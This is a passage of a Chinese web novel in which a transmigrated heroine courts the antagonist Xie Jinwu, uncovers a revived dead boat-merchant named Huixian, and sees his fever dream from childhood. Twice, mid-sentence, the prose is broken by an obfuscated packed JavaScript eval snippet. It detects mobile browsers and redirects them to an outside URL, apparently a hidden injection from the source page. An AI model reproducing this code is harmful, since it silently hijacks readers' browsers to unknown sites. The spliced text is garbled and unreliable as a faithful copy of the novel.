谢尽芜看着她的眼睛,抿了抿唇,那句“不必你管”还是咽下去了,只淡声道:“睡不着。” “真巧,我也睡不着,”叶清圆意识到这是个刷任务进度的好机会,趁机道,“不如我们聊会天吧?” 谢尽芜移过目光,视线落在洒满月光的河面。这是个默认的态度。 叶清圆心中窃喜,提着裙角走过去,在他身旁的矮石墩上坐下。松软的草间起了露水,沾湿了她的脚踝,有些微微的凉意。 她也并不在意,变戏法似的捧出一张油纸包,轻声笑道:“谢公子,要吃一块吗?” 谢尽芜垂下目光,竟是几颗蜂蜜橄榄,扑面而来一股酸甜气息。 他还没开口,叶清圆就捧着纸包递了递:“傍晚逛夜市时我特意排队去买的,就在街西的点心铺,好多人呢,我一看就知道这东西肯定特别好吃。” 她的声音还带着刚睡醒的倦懒之意:“都去了核,要不要来一个?” 甜腻的香气快要扑在他的脸上,随风送来的还有她身上的淡淡栀子香,难以招架。 谢尽芜的视线落在她的脸上,又移到她掌心捧的纸包,终于敌不过她的满含期冀的目光,尝了小小的一颗。 只吃一颗。他最讨厌吃甜的东西,这种小零嘴放在平时他根本不屑一顾。 只是不想显得失礼而已。他在心里这样想着。 入口酸甜,橄榄酸甜醒脑,那股子冲劲又被蜂蜜很巧妙地压了下去。谢尽芜低着头又吃了一颗,等回过神来时,手指已经拿起了第三颗。 叶清圆满意地笑了,自己也挑了几块。清冷的月夜,潺潺的流水,手里还有好吃的零嘴,再没有比这更好的了。 她含笑问道:“好吃吗?” 谢尽芜垂着眸,两颗蜂蜜橄榄让他的脸颊轻轻鼓起,闻言怔怔点头,听到对面叶清圆轻笑出声后,才慢半拍地反应过来,他竟忘记查验是否有毒。 晚风温柔,花影摇曳,风中混杂着淡淡的花香与清新草木香。 叶清圆将纸包收好,拂了拂脚边湿漉漉的嫩草,随口问道:“谢公子最喜欢吃什么呢?” 再寻常不过的问题,被她用寻常的语气问出来,却叫谢尽芜一时哑口无言。 他茫然地意识到,他竟从未认真思索过自己喜欢什么。或者说,他从没有在乎过。 叶清圆也没有追问,依旧笑吟吟的:“谢公子有那么多事要忙,一定没有太多时间去吃好吃的。修习固然重要,但也要适当放松一下啊。” 谢尽芜恍惚半秒,漂亮的眼瞳中流露出一丝疑惑。 她为何是这样的态度? 分明在晚膳时,他们闹得那样不愉快,她都要摔门而走,可现在又像什么都没发生过一样。 难道她都忘记了吗? 忘记也无可厚非,他们本就不熟,这些不愉快对她而言根本不重要,甚至都不配占用她的半分心神。 谢尽芜的唇角似乎噙着一抹淡淡的笑。月色朦胧,暗香浮动,他的脸掩在摇曳的花影中,叫人看不真切。 叶清圆却好像猜出他心中所想,轻声道:“谢公子有什么话要说吗?” 似乎是个很好的机会,让他解释晚膳时那一番话只是他痛苦至极的掩饰,他的自尊与傲骨不允许别人看到他无能为力的模样,所以才口出恶言将她逼走。 他不是真的讨厌她。 但是,他为何要解释?又该如何解释?多此一举。 翻滚的字句就这样静止在唇齿之间,谢尽芜居高临下地看着她,嘴唇紧紧抿着,像是在死守一道不再牢固的防线。 叶清圆也没在意,他不愿提就算了。难道还指望一个尚未攻略的大反派很好相处吗? 她的声音温和,带着笑意:“正好这段时间我们要一起行动,这座镇子也挺热闹的,有时间我们可以一块逛一逛,就当出来玩了,好吗?” 谢尽芜怔怔的,默不作声。 晚风拂过他的脸颊,碎发轻抚,有些痒。 他从前见过的暴力、冲突和不加掩饰的恶意太多,早已习以为常。如今有个人捧着脸颊与他讲话,眼睛亮得堪比天上繁星,他站在原地,竟罕见地无所适从起来。 就好像他持着一柄杀人的利剑,剑光森冷,剑已出鞘,对方却笑吟吟捧出一束柔软娇嫩的花,花香缠缠绕绕,如绳索一般,叫他动弹不得。 叶清圆看出他在发呆,还以为他想拒绝却不好开口,于是很大度地笑了:“你若不太方便,也没关系……” “方便。”谢尽芜下意识说,“我没有说不方便。” 叶清圆有一瞬的讶异,很快点头:“好。” “今后你也不必叫我谢公子,”谢尽芜垂着目光,他的眉头有一点皱,仿佛说这句话费了他很大力气,“太过……生疏。” 话音刚落,谢尽芜的双眼立刻睁大了。 他都不知道自己怎么说出方才那句话,白净的脸颊瞬间染上薄薄的一层红,唇角抿起,神情一时茫然无措。 叶清圆转头看他。 明朗的月色泼洒,河面荡起涟漪,波光粼粼,浮动的水波反射出细碎却耀眼的光芒,照得谢尽芜脸颊净白一片。 他侧过脸,神情是少年是特有的诚挚与青涩。 僻静的月夜,花香浅淡,流水潺潺,在这样的氛围里就算失了戒备心,似乎也可以被原谅。 叶清圆笑着点头,眼中闪烁光芒:“好啊。” - 青蔓镇是典型的江南镇子,青砖小巷,丝竹动听,一条小河蜿蜒穿过粉墙黛瓦的房屋,河水清澈,微波透着淡淡的绿,甚至能看清水里的游鱼。河面上时不时有来自各地的小商船荡漾着经过,做些零碎的小生意。 叶清圆是个土生土长的北方人,对这些风貌人文好奇极了,一双眼睛睁大了,天幕的光照耀在她脸上,衬得那一双眼亮得像是星辰。 她本来与江云初他们并肩走着,因逛街逛得太投入,竟一不小心走到了前头。 河面上停了一艘小商船,船家正弯腰将箩筐从船舱一个个搬出来,恰好一阵微风吹拂,清新的花香霎时弥漫了半条巷子,引得许多人都忍不住出言惊叹,连周围略显嘈杂的吆喝声与笑闹声都顿住了。 生意还没开始做,期待感却拉满了。小小的客船前很快聚集了诸多客人,叶清圆毕竟也是小姑娘,对清香漂亮的花朵根本没有抵抗力,她快步过去,踮起脚想要看清那到底是什么花。 “是牡丹。”谢尽芜不知何时已经走到她身旁,薄唇抿了一下,淡声道,“你想要吗?” 叶清圆侧过脸,视线很自然地从商船移至谢尽芜身上:“还好,人太多啦,排个队也挺麻烦的。” 说着眉眼弯弯地笑起来,白净的脸颊在明媚阳光下细腻得好像白瓷一样,耳边的珍珠坠子一晃一晃。 谢尽芜扭过脸去。 河面停泊的小商船荡悠悠的,木柞的檐角刮过岸边拂摆的柳枝,簌簌作响。 叶清圆沿着河岸将商船挨着逛了个遍,最后停在一艘摆满了金银珠玉首饰的画舫前。 这艘画舫无论是规格、装饰都并非其他小商船可堪比拟的,翠阁朱栏,轻纱飘飞,檐角悬挂着串串铜铃,乍看去,真是好一派华丽柔靡的气息,合该是那挥金如土、纸醉金迷世界里的一抹点缀,与青蔓镇质朴安逸的生活节奏倒是格格不入了。 若河道再窄一些,这画舫怕是要被卡住,无法动弹了。 叶清圆心中很是好奇,眼里闪烁着兴奋又探究的光芒。 画舫的老板娘是个面若满月的娇美妇人,红裙拖曳,高挽的乌发如云雾般簇拥一 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甫一走近,便隐约闻到一股青涩却清甜的香气丝丝缕缕荡漾开来,叫人的心情顿觉舒爽不少。两个楠木的大匣子,里头摆满了各类的小锦盒,锦盒也全部打开,大方地供客人赏评。 叶清圆低头打量,入眼便是一对明亮金簪,被雕刻成月兔衔桂花的样式,兔身圆润可爱,桂花雅致玲珑,月兔足踩祥云,云上又镶了六颗红宝石,流光溢彩,华贵无双。 除金银珠玉之外,锦盒中还置有贝母镇纸、檀木扇、紫砂壶,以及上好的乌桕香烛,都是寻常人难得一见的物事。 叶清圆对这些风雅之物没有太大的兴趣,视线又落到那些散发出晶莹柔光的首饰上,看了又看,笑得眉眼弯弯。怎么办呢,每一件她都很喜欢。 那就多看两眼吧,过足了眼瘾,总之买是不可能买的。她现在又不是锦绣丛里长大的叶家千金了,前头荆棘丛生,不知要吃多少苦,她的小金袋还要存着买零嘴吃,哪能为了首饰一朝豪掷? 她沉浸在珠宝闪烁的光芒中,耳中忽地听到老板娘一声娇笑:“公子,喜欢就买下吧。何必这样一脸严肃呢,搞得我有点怕了。” 谢尽芜看都没看她,依旧是垂着眸,眉心微微蹙起,似乎在回忆什么。 叶清圆沿着他的视线看去,在匣子的角落里,一方破旧的锦盒中,静静躺着一条白玉的坠子。 玉坠雕刻成栀子花的样式,玉质润泽,光芒剔透柔和,流水一般缓缓淌过,边缘还磕了个细微的缺口,是贴身戴久了的样子。 却没什么特别的地方,置在这一堆华贵的金玉里,甚至普通得有些不起眼。 谢尽芜不是最讨厌栀子花吗?这么漂亮、香味浓郁的花朵甚至被当作他的雷点录入系统了,可见他对栀子花有多深恶痛绝。 叶清圆从未见过他露出这般神情,斟酌一瞬,轻声开口道:“你认识这条玉坠吗?” 谢尽芜轻轻摇头,目光迷茫又无措,心脏也跟着抽痛起来,仿佛有一些痛到彻骨的记忆在脑子里徘徊,却被他刻意遗忘了。 因为什么遗忘呢? 谢尽芜垂着眸,乌浓的眼睫遮盖住所有的情绪:“这条吊坠是从哪里来的?” 老板娘的目光在他冷俊清贵的脸上流连片刻,两道柳叶眉扬起,娇声笑道:“自然是我的贴身之物呀,公子想要吗?” 好家伙!竟敢在光天化日之下调.戏清纯少年。叶清圆顿时杏眼圆睁,目中流露出满满的惊讶和防备。 谢尽芜抬起眼,眸中却是迷茫与不解,仿佛根本没听懂她的意思。 “哈哈哈哈……”老板娘抬手掩唇,被他的反应笑到花枝乱颤,殷红的指甲与额心的花钿相映,说不出的妖艳,“若真是我的贴身之物,我纵使是扔了,也不会拿出来卖。” 说罢,娇艳欲滴的指甲在吊坠上虚虚一点:“这是那位负心郎送的,来历嘛,他也说不清。” 她笑得弯起眉眼,又问了一次:“怎么,公子认识?” 谢尽芜眉头紧锁,他总觉得这坠子眼熟,许久之前似乎见过,应当与他的过去有关。可内心深处的本能又叫他想要逃离,吊坠上散发的气息太过危险,远甚于害他痛到彻骨的邪印,稍一不慎就是万劫不复。 真是奇怪,分明他从未见过它,却为何如此恐惧它? 老板娘识人无数,看他犹豫不决的样子就知晓其中有内情,也不戳破,只是善解人意地笑道:“这两天我的画舫都会停在青蔓镇,公子若是想买下这条玉坠,随时可以来找我。” 17. 第 17 章 二人河岸走了一遭,又原路返回,恰好遇到酒楼前、垂柳边谈事的江云初和许明竹二人。 江云初微微垂着头,神情严肃,眉宇间笼罩着一股不耐烦,而许明竹则是低声说些什么,似乎在安慰她。 叶清圆抬袖招手道:“云初姐姐!” 江云初抬眸的一瞬间,眼中的烦躁情绪顿时被压了下去,轻声笑道:“玩得开心吗?” 叶清圆察觉到氛围不太对劲,很是乖巧地点头,笑道:“云初姐姐,你是遇到了什么烦心事吗?” “嗯,”江云初与许明竹对视一眼,叹了一口气,“我要回一趟永安,族中有些事要处理。明竹他和我一起。” 叶清圆短暂地回忆了原书的剧情线,这个时候,应该是江云初的父亲,也就是永安江氏的家主忽然病重,族中各势力蠢蠢欲动,想要瓜分江氏。 作为江氏本家独女的江云初,纵使因父亲的病情而忧惧不已,却也不得不强打精神应付族里的那群虎视眈眈的豺狼虎豹。 也就是在这个时候,江云初与许明竹在原主叶清圆的挑拨下,爆发了一次堪称激烈的争吵,几乎要闹到此生不复相见。 叶清圆快速将原书里的剧情回忆一遍,瞳孔剧震。 她上前半步,诚恳认真道:“云初姐姐,不管发生了什么事,我都会站在你的身后,坚定不移地支持你。” 江云初怔了一下,反而被她这种认真到正经的态度逗笑了:“干嘛突然说起这个。” 叶清圆摇摇脑袋:“云初姐姐,你和许兄一定要互相体谅,有任何事情都要及时沟通。恋人就要敞开心扉,千万不要为了顾全大局,把话都憋在心里,这样不好啊。” 谢尽芜的眉骤然压低,眸中流露出一抹阴翳。 江云初笑得眉眼都弯了,转头去看许明竹,乌发里的滴水银簪随着她的动作轻微晃动起来:“听到了吗?明竹,你要体谅我。” 许明竹也是笑意盈盈的:“好,清圆说的我们一定会做到。” 叶清圆看这两人哄小姑娘似的态度,急得都要抓狂了,却也无可奈何。 “那你们什么时候动身呢?” 江云初敛了笑容:“事情发生得过于突然,现在就要走。清圆,尽芜,你们就待在青蔓镇玩几天吧,不要去太危险的地方,一切都等我们回来再说。” - 太阳渐渐落下去了,晚霞泼满西边的天空,像是大片洇开的颜料。客栈窗外那株梨花树被落日的红霞照映,花瓣、枝桠上笼罩了一层柔腻的光。 谢尽芜端坐在窗边饮茶,净白的脸颊也被染上薄薄的水红。 叶清圆睡了午觉下楼,一脸郁闷地在谢尽芜对面坐下,给自己倒了一杯热茶。 系统的声音在脑海响起:“警告:鉴于主线任务一‘为江云初替命’的进度过慢,且主要人物江云初已回到永安,该任务暂停。” 叶清圆端着茶杯的手小小颤抖了一下,另一只手在桌子底下悄悄给自己竖了个大拇指:太好了!任务暂停,她终于不用再提心吊胆了! 然而,系统的声音紧接着再次响起:“因此,请宿主加快主线任务二的进度:攻略谢尽芜。系统也将会在合适的时机为宿主创造条件,帮助宿主推进任务。请务必在半个月之内将任务进度推至四分之一,否则宿主将被系统优化。再次警告。” 叶清圆的笑意僵在了唇角,很是悲伤地闭上了眼睛。 系统因为任务进度太慢而强行优化宿主。这绝对是她听过的最逆天的操作。 对面的谢尽芜抬眼看她,忍了一会,忍不住关怀道:“你怎么了?” 叶清圆揉了揉太阳穴,含笑说没什么,漂亮的眼珠定定望住他。 有了梨花与红霞的映照,她这才发现,谢尽芜的骨相生得这么优越。 红霞漫天,灼目的光芒被梨花树的花瓣与枝桠过滤得清浅,投映在谢尽芜的面上唯余一层浅淡柔旖的水红。 他的眉骨高,鼻梁也挺直,窗外的光像水波一样从侧面缓缓流淌过来,于是他的半张脸明亮清俊,满是清冷的少年气,另半张脸隐在阴暗之中,无端显出几分阴翳的压迫感。 不可否认,他这张脸帅得很客观,是任谁看了都要夸一句的隽秀、端方的少年相貌。 叶清圆没忍住,抿起唇轻轻笑了,飞扬的眉眼霎时灵动活泼了不少。 谢尽芜听到她的轻笑声,微抬起眼:“怎么了?” “没什么。”叶清圆转头看窗外依次亮起来的灯笼,“待会要不要再去一次画舫?” 谢尽芜很认真地与她对视:“你要买什么吗?” “没有啊,我只是觉得那位老板娘很有故事,想去和她说会话。” 谢尽芜闻言皱起眉,似乎不赞同她的做法,却也没说什么。 叶清圆又问:“你今晚有什么安排吗?” “要读……”谢尽芜想了一下,不知为何忽然改了口,“没有。没有安排。” 叶清圆笑盈盈的,饮了杯中的茶就要起身:“听说巷子北边有庙会呢,虽然不大,却也可以去看看呀。” 谢尽芜垂着睫,“嗯”了一声。 手指无意识地摩挲着杯壁,心里莫名有些失落。 “我走啦。”叶清圆歪着头冲他笑了一下,语轻喃喃地叮嘱,“有事记得发通讯符给我呀,不要觉得麻烦。” 她转身离开时浅绿的裙摆旋起一个漂亮的弧度,真像是河面上绽开的清圆的莲叶。 谢尽芜低垂着眼眸,余光看到她的身影消失在木柞的菱花门,那片幼嫩的莲叶裹挟着清雅的香,似乎也随着荡漾的水波远去了。 叶清圆赶在天色暗透之前找到了那一处轻纱摇曳的画舫。 河岸边逐渐亮起灯笼,画舫檐角也挂了灯,柔旖的浅红光芒扩散,随着水波一漾一漾地荡开。 还未走近,一阵甜腻的脂粉香气便随微风阵阵扑来。 老板娘依旧是斜倚在朱栏边,乌发间点缀一朵杜鹃,她垂首看向河面上倒映的那一轮破碎明月,长裙曳地,披帛轻拂,怀中抱了一支琵琶,染了丹寇的手指微动,灵巧拨弄细弦,弹奏一支轻柔的曲。 琵琶声哀婉凄切,如泣如诉,满是女子对情郎的浓浓爱意与怨怼。 叶清圆不懂琵琶,却也因她的弹奏而心内泛起阵阵酸楚。老板娘一曲奏毕,纤长的手指轻按在琵琶弦,她抬起脸,脸颊在月光照耀下显得尤为苍白。 “姑娘,等很久了吧?”她抬手抹了抹脸,扯起唇角,露出一个美艳却悲伤的笑容。 叶清圆走上了画舫,出于安慰的好意,递过去一方锦帕:“真好听。” 老板娘的视线下移,落在她手心的锦帕上,柔声笑道:“这种东西呢,向来都是随身带着,沾染了女儿家身上的香味,是该送给情郎用的。你这么大方地给我用了,不怕那位公子吃醋?” 说罢,手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶清圆若有所思:“修真世家,还是朝廷官员?” “都有。所以说惹不起呢,我是宁肯放着泼天的富贵不要,也拼了命想逃的。”绘弦唇边的笑意很浅淡,“金璧城,那种纸醉金迷的地方,看似遍地是繁华,可一旦变了脸,狠起来,却是吃人不吐骨头的。” 叶清圆的心头陡然一跳,金璧城! 按照原剧情,江云初与许明竹两人率先到达的金璧城,在发觉事态着实棘手之后,又向擅长符术的谢尽芜发信寻求支援。 而那个时候,原身叶清圆还被谢尽芜囚禁在暗无天日的地牢,她的手足筋都被挑断,折磨得不成人形,却仍不肯安分,利用谢尽芜身中邪术、性情极端的缺陷,夜以继日、毁人不倦地挑拨谢尽芜与江云初、许明竹之间的关系,终于在他的心里埋下了猜忌的种子。 于是,三人在金璧城相处不久,就爆发了一次极为激烈的冲突。 这一次虽没有原身挑拨,这场冲突似乎可以化解——似乎而已。 但即便如此,叶清圆的心里也对金璧城充满了抗拒。 恰在此时,系统冰冷的提示音在脑海中响起:“恭喜宿主触发支线任务二——魂断金璧城!请宿主尽可能详细地收集关于金璧城的信息,为之后的探索做足准备。” 18. 第 18 章 “魂断”金璧城。 叶清圆的嘴角忍不住抽搐,系统你,就不能取个吉利一点的名字吗? 到底是谁魂断金璧城,拜托你把主语加上去好吗?! 系统发布任务结束,无半句废言,立即消失得无影无踪。 她在心里默默地吐槽过后,还是深吸一口气转换状态,尽职尽责地问绘弦道:“金璧城在哪里呀?为什么说它很可怕?” “喏,沿着这条河向北,两天之后就会到了。” 绘弦轻抚披帛,喃喃道:“至于那里的可怕,是城中出了一件怪事。” “怪事?” “嗯。”绘弦垂下眼眸,脸上现出恐惧的神情,“你听说过一句话吗?” “碎雪障目,青燐挽风,婆娑花影,血染长亭。” 檐角灯笼的莹莹白光泼洒下来,照在绘弦白皙的面上。她仿佛失忆般茫然,脸色白得像雪。 她乌发间簪的那朵红杜鹃虽已簪了半天,却依旧明艳欲滴,娇嫩得好像刚从枝头摘下来。 话音落下,绘弦忽地嫣然一笑:“很有趣是不是?” 叶清圆这次连笑都笑不出来了:真有趣,会要人命的有趣。 这不就是厉鬼杀人现场吗?! 她的脑海中忽地有一抹凄厉狰狞的红一闪而过,不由得打了个寒噤。 “唉,不提了,我是伤透了心的。” 绘弦丝滑地转移了话题,从木柜里取出一瓶酒和两只杯盏,各自满上,对着河面长长叹出一口气:“我为他做出这么多,从不是为了什么名分与地位。我自觉问心无愧,可哪知我剖出真心如许,到头来却只换他一句‘你走吧’。” 绘弦的目光凄切悲伤,藕臂抬起指了满船的金银珠宝:“我要这些有何用?凭我这一手千金难求的技艺,难道还能饿死不成?我自始至终什么都不要,只求他真心待我,可他却口中不饶人,反过来斥责我利欲熏心,不择手段!用这些肮脏的东西打发我!” 叶清圆的目光落在匣子一瞬,唇角稍微一抿。 绘弦叹气:“真是可笑!我不过是想和他过上举案齐眉的日子,这又有什么错!” 叶清圆默然,眼珠尴尬地瞧往别处。痴男怨女的故事,最难决断。作为局外人,闭口不言才是正解。 她挑了一个不太容易得罪人的角度:“那今后要去哪里生活?” “随波逐流吧,到哪里是哪里,一个金璧城容不下我,难道别处我也待不得?天下之大,还没有我的容身之地了么!” 绘弦抬手,用手背抹去了脸颊上并未存在的泪水。 白腻的手背擦过脸颊肌肤,发出纸张般干燥的摩擦声。 叶清圆眯起眼,结合绘弦方才的种种表现,心中的猜测逐渐有了答案。 她刚刚来到画舫的时候,绘弦抱着琵琶倚在栏杆边弹一支曲子,弹到动情处,也是这样抬手抹了脸颊。 那时的月光很亮,她看得清楚,绘弦的脸颊苍白干燥,并无一滴泪水。 是在擦拭什么呢? 莫非这位绘弦还是个演技派,别管掉没掉泪,氛围先烘托得十足? 交谈的时候,叶清圆也察觉了她的反复无常,情绪极为不稳定。 如此明显的特征…… 绘弦无意间瞧见叶清圆面前的酒一滴未动,未免有些不满,催促道:“快喝呀,上好的梅子酒,你不喜欢?” 叶清圆思绪飞转,抿起唇笑:“我不喝酒的,一沾酒就会浑身起红疹子,难受得要命。” 酒桌挡酒万能托辞:酒精过敏。 她把酒盏往绘弦那里推了推,要她喝酒,同时口中笑道:“我都闻到这酒的香气了,甘冽清爽,真是好酒。只可惜我无福消受。” 绘弦对她的意图视而不见,也露出一个遗憾的笑容:“那还真是可惜了。” “既然可惜,那你为什么不喝呢?” 画舫檐角的光照在叶清圆的脸上,她的神情疑惑而天真。 绘弦脸上的笑有些不自在了:“太晚了,我喝了酒会睡不着的。” 所以,你先前倒了两杯酒摆在桌上,只是摆设吗? 叶清圆的目光落在她面上,笑得眉眼弯弯,轻巧地转移了话题:“这朵杜鹃花真好看,娇嫩晶莹,像是刚从花枝上摘下来一样。” 此话一出,绘弦的脸色霎时变了,大睁的眼眸中露出惊恐之色。 叶清圆的笑容不变,心中暗道:果真如此。 戴了将近一天的娇嫩花朵,怎么会不枯萎? 还有她方才抬手擦眼泪的时候,分明是手背与脸颊的肌肤摩擦,为何会发出宛如纸张刮擦的声音? 除非这不是人的肌肤。 绘弦喃喃,丝毫没有意识到自己浑身都是破绽:“你看出来了?” 她的手指颤抖着,脸上表情是一种拼命掩藏的秘密被揭露的惊慌失措。 叶清圆与她对视,却没有点头。 在遇到那位脸颊干裂簌簌掉粉的“教书先生”之后,她特意查阅了有关此邪术的相关资料。 借助邪术起死回生之人,在最初的一段时间是意识不到自己已死的,肉身亦如生前一般。只有被人亲口点破已死,肉身才会逐渐开始腐烂。 说破则万法皆空。 而当时那个教书先生虽早已被点破肉身已死的事实,却有画师强行续给他的十年阳寿,因此他虽肉身腐烂不堪、干裂如纸,却始终存着一口气苟活于世。 若方才叶清圆直接点明绘弦已经身亡,若画师没有用阳寿给她续命,她的肉身撑不过三日。邪术借来的阳寿终究是镜花水月,一触既碎。纵使逆天而行,红颜也终将化作冢中枯骨,无一幸免。 绘弦惊慌失措,鬓发间金簪不住摇晃,干涩的眼眶却凝聚不出一滴泪水,她很快又低声道:“对、对,你是修道之人,怎么会看不出来呢?” 还不是你破绽太多了,讲话太过于颠三倒四……已死之人就算活过来,脑筋也会变笨的嘛。 叶清圆斟酌了一下言辞:“尽管这样说有些冒犯,绘弦姑娘,你可知晓自己是如何……的吗?” “不记得了。”绘弦摇头,“我身上也并没有什么伤痕,或许是毒?” 叶清圆凝视着她的眼睛,轻声问:“那这道邪术是谁给你施下的?你还记得吗?” “画师,他说他叫画师。”绘弦绞尽脑汁地回想,“他很年轻,很英俊,穿着水墨纹的道袍。手里提着一盏灯,灯罩上画了一只白鹤。” 又是画师。 初阳镇那个满脸掉粉的教书先生,也是画师在背后指使。他到底想做什么? 叶清圆敏锐地捕捉到了重点:“他有说为何要帮你吗?” “没有,没有!”绘弦颤抖着手指,忽地想到了什么,“他说我生得太美,像是美艳的杜鹃,他不忍心看我香消玉殒,要想办法留住我的相貌。这算理由吗?” 叶清圆抿唇笑了笑。 她尚且对画师毫不了解,说不定画师本人正是这样不讲逻辑、思维清奇的人。 毕竟爱美之心人皆有之嘛。 绘弦捂着脑袋,思考让她的神色痛苦至极,情绪也激动起来:“我现在的感觉比白天差很多,头痛得好像要炸开了,身体也很痛,仿佛灵魂都被撕裂的痛!为什么呢?画师说我半年之内都不会感觉不舒服的,他分明向我保证了的!” “绘弦姑娘,以后白天少晒些太阳吧。” “啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445930|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”绘弦怔怔地抬起头,一张柔媚明艳的脸上满是错愕,“不能晒太阳的吗?我带了满船的珠宝金玉,本来就是要找个安逸之地晒太阳养老的嘛!” 叶清圆轻笑着摇头,心中有些无语:连人死之后惧怕阳光这种事都不知晓,这位姑娘是有多缺乏常识啊! 话本都看过吧?精怪传奇之类的故事总听过吧? 白天在河面上支着摊子晒太阳时,就没有感觉不舒服吗? 绘弦喃喃:“我都不知道……画师什么都不和我讲,他真坏。” 叶清圆思索一瞬,将自己所查到的禁忌尽量都告知与她:“我曾经遇到过一个年近半百的教书先生,他的脸色乌青、长斑,为了掩盖肤色只好扑上一层厚厚的粉。可是肌肉与皮肤又僵硬到干裂,稍一笑,脸上的粉就扑簌簌地往下掉,露出原本的青黑色皮肤。” 像是晒得皱巴巴又抹一层墙灰的枯萎丝瓜皮。 她敛了笑容,眼中露出诚恳的光芒:“书上说,这种特征就是白天活动得太多,阳气过盛造成的伤害。绘弦姑娘,你容姿端丽,肌肤也娇嫩,若不胡乱折腾的话,这张脸维持几年都没问题的。那个教书先生血泪的教训就摆在面前,你千万要引以为戒啊。” 绘弦喃喃道:“真的吗?” 叶清圆点头:“真的呀。” 绘弦又道:“你不会骗我?” 叶清圆笑起来:“我只是不想看到美好的东西轻易消逝。” 绘弦双手捧着脸,唇角扯出一个滑稽的弧度,不知是哭还是笑。 利益场上待得久了,见惯了勾心斗角、尔虞我诈。有人笑比春花,眼底却藏着深不见底的阴狠,明枪易躲,暗箭难防;有人也曾深情如许,亲手为她编织了一场柔情蜜意的春秋大梦,结果大难临前,多年的情分立刻轻如尘土,他决绝转身,弃她如敝履。 眼前的姑娘迎着月光,眼珠定定地看着她,眼里的光芒是那样纯澈、干净,唇角也透出一种严肃的认真。 萍水相逢,谈得上交情吗?在她的眼中答案自然是否定。 可是…… 绘弦的手腕微动,掌心向内,缓慢而痛苦地捂住脸,仿佛在掩盖并不存在的泪水:“谢谢你。” “不客气,绘弦姑娘生得这样好看,无论是谁都会心生怜惜的。” 叶清圆弯起唇角,笑意浅淡又温柔:“姑娘活这一世,何必太过困囿于情爱呢?姑娘前方所行之路,繁花满簇,天地皆宽。” 绘弦大睁着双眼,清辉照耀之下,漂亮的眼眸中似乎真的凝起了泪水。 “好啦,天色已晚,不打扰了。”叶清圆拂了拂裙摆,起身告辞,“谢谢绘弦姑娘将这条吊坠卖给我,帮了我一个大忙。” 有一种人就是这样,嘴巴甜得要命,自己做了好事从来不讲,却对别人的一点好意不吝赞美,惯会哄人开心。 绘弦被她逗得笑了,鬓发间簪的杜鹃花瓣在风中颤抖起来。 她依旧倚坐在画舫红纱轻摆的朱栏旁,目送着叶清圆离开的身影,眸中笑意零星。 河岸柳树下的阴影中,缓慢浮起黑色的影子,伸长手臂要对叶清圆出手。 绘弦犹豫了半秒,从袖中取出一支刻了符咒的短箭,甩手朝影子扔去。 怨气一瞬消散。 叶清圆听到动静回头:“绘弦姑娘?” 绘弦笑道:“晚安。” 叶清圆也笑:“好梦。” 说罢,转身离开。 她的身影在溶溶月色下显得尤其窈窕清瘦,仿佛要被岸边柳树那浓郁深重的绿色吞没。 可是她迈出的步伐却始终坚定,踩在河岸松软的草地上,不急不缓,像是早春凛冽的清寒中,迎风怒放的迎春。 19. 第 19 章 谢尽芜做了一个梦,梦到雪飞如絮,滴水成冰。 寒风呼啸,木柞的直棱窗被风刮得砰砰作响,飞雪扑在窗纸上簌簌有声。 他躺在一张破烂的木床上,外头天寒地冻,他却浑身烫得要烧起来一样,厚重的棉被盖在身上,重得像一座大山,压到他喘不过来气。 脑海深处传来尖锐的撕裂般的剧痛。 昏沉迷糊间,头顶传来一道被刻意压低的尖锐女声:“被子盖这么厚,我看他脸都憋红了,不会被压死吧?” 粗糙的手掌按在他额头,试了试温度,女人烦躁道:“这么烫?老娘花了大价钱买的药,竟然都不起作用吗?” 谢尽芜的口唇干燥,渴得要命,呼出的气息像是两条小火龙烫在他的皮肤,却虚弱得没有一点力气开口。 女人的声音又在头顶上方响起:“我听别人说,这么小的孩子最怕发烧了,万一烧死了可怎么办?我们怎么向小姐交代?” 无人应答,依旧是沉默。 女人不耐烦地骂道:“喂!跟你说这么多话,你都不知道吱一声吗?!” 一瞬静默之后又道:“哦,忘了你是哑巴。” 哑巴同样焦急地站在床边,被她骂了也不生气,两只手胡乱地打些她看不懂的手势。 女人看得一头雾水,莫名其妙道:“你爪子抽筋了?打这么多手势,我又读不懂!” 哑巴愣了一下,在她的虎视眈眈下委委屈屈地收了手。 “我平常在家里也只陪着小姐喂鱼种花啊。” 女人明显缺乏照顾小孩的经验,拧着眉不知该怎么办才好。 借着窗外照进来的明亮雪光,好半天才终于意识到谢尽芜干裂的唇,仓促倒了杯茶来。 “来不及烧热水了,将就喝吧。”一只有力的手臂将他抱扶起来,温凉的茶水灌入口中,谢尽芜的意识顿时清明了许多。 女人手劲很大,手指上布满了茧子,是辛勤劳作留下的印记。 谢尽芜的下巴被她捏得发疼,钝痛混合着脑海中的尖锐痛楚,他却咬紧了牙关,仿佛要跟谁较劲似的,一声疼也不喊。 他尝到明前龙井特有的香气,却因煮茶方式不对而泛出苦涩来。可惜了这一碗好茶。 女人喂水的态度很急躁粗暴,他吞咽不及,呛咳起来,温水顺着他的下巴流入脖颈。 女人重重搁下茶碗,对于照顾小孩这种事感到心力交卒,忍了又忍,转身对着哑巴低声骂道:“病了快三天还不好!老娘照顾一个臭小子比翻了三天的地还累,再不醒,直接席子一裹扔去后山冻死!” 哑巴吓了一跳,摆着手,啊啊地“劝阻”起来。 女人翻白眼:“好不容易从山上逃出来,又被人种下邪印,记忆出了问题。连你也被害得变成个哑巴。青松,你说,他到底是不是个灾星?” 青松沉默地俯身,为谢尽芜掖了掖被角。 